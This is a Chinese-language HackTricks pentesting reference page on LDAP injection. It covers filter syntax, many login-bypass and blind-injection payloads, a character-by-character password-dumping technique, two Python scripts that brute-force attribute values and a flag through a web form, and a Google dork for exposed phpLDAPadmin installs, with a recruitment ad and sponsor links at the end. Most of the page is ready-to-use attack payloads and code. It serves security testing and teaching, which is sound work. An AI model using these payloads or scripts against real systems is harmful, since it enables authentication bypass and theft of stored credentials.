hacktricks/pentesting-web/ldap-injection.md

# LDAP注入

## LDAP注入

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## LDAP注入

### **LDAP**

**如果您想了解什么是LDAP，请访问以下页面：**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP注入**是一种针对从用户输入构建LDAP语句的Web应用程序的攻击。当应用程序**未能正确清理**输入时，攻击者可以通过本地代理**操纵LDAP语句**，可能导致未经授权的访问或数据操纵。

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

**过滤器** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = 绝对TRUE\
**(|)** = 绝对FALSE

例如：\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

您可以访问数据库，其中可能包含各种不同类型的信息。

**OpenLDAP**：如果有2个过滤器到达，只执行第一个。\
**ADAM或Microsoft LDS**：有2个过滤器时会抛出错误。\
**SunOne Directory Server 5.0**：执行两个过滤器。

**非常重要的是发送具有正确语法的过滤器，否则将抛出错误。最好只发送1个过滤器。**

过滤器必须以`&`或`|`开头\
示例：`(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

然后：`(&(objectClass=`**`*)(ObjectClass=*))`**将是第一个过滤器（执行的过滤器）。

### 登录绕过

LDAP支持多种格式存储密码：明文、md5、smd5、sh1、sha、crypt。因此，无论您在密码中插入什么，它都可能被哈希处理。
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### 列表

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### 盲 LDAP 注入

您可以强制 False 或 True 响应以检查是否返回任何数据，并确认可能存在盲 LDAP 注入：
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### 转储数据

您可以迭代ASCII字母、数字和符号：
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### 脚本

#### **发现有效的LDAP字段**

LDAP对象**默认包含多个属性**，可用于**保存信息**。您可以尝试**暴力破解所有这些属性以提取信息**。您可以在[**此处找到默认LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **特殊盲LDAP注入（无"\*"）**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### 谷歌黑客搜索指令
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### 更多有效载荷

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要黑入不可黑入的系统 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
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</details>